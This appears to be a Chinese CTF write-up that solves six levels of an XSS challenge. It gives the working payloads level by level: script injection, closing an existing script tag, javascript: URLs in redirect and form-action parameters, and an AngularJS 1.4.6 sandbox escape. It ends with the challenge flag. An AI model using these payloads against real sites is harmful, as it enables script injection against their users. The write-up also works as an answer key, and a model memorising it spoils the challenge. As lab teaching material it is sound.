题目考点
- WEB
- XSS
解题思路
本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数
- level1
- 设置
username=<script>alert("flag")</script>
,过关
- 设置
- level2
- 输入level1同样的payload,没有反应,查看网页源码,发现
</script>
闭合了原本的script标签,所以无法执行alert函数 - 修改payload为
username=</script><script>alert("flag")</script>
,过关
- 输入level1同样的payload,没有反应,查看网页源码,发现
- level3
- 输入level1同样的payload同样没有反应,查看网页源码,似乎问题和level2一样
- 使用level2同样的paload,过关
- 输入level1同样的payload同样没有反应,查看网页源码,似乎问题和level2一样
- level4
- 查看网页源码,发现
jumpUrl
参数可以控制跳转的url:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script> - 所以基于JavaScript为协议,可以构造payload为
jumpUrl=javascript:alert("flag")
,过关
- 查看网页源码,发现
- level5
- 输入level1同样的payload无效,查看网页源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script> - 这段代码的意思是,如果
autosubmit
参数存在,则自动提交表单 - 所以构造payload为
autosubmit=1&action=javascript:alert("flag")
,过关
- 输入level1同样的payload无效,查看网页源码:
- level6
- 输入level1同样的payload没有反应,查看网页源码,发现使用了
AnjularJS
框架1
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
- 搜索
AnjularJS
框架XSS漏洞,发现Angular(版本号小于1.6)内的典型XSS payload为username={{7*7}}
,测试后发现确实存在XSS漏洞 - 使用payload
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert("flag")//');}}
进行沙箱逃逸,过关
- 输入level1同样的payload没有反应,查看网页源码,发现使用了
- 完成所有关卡,获得flag
FLAG
1 | n1book{xss_is_so_interesting} |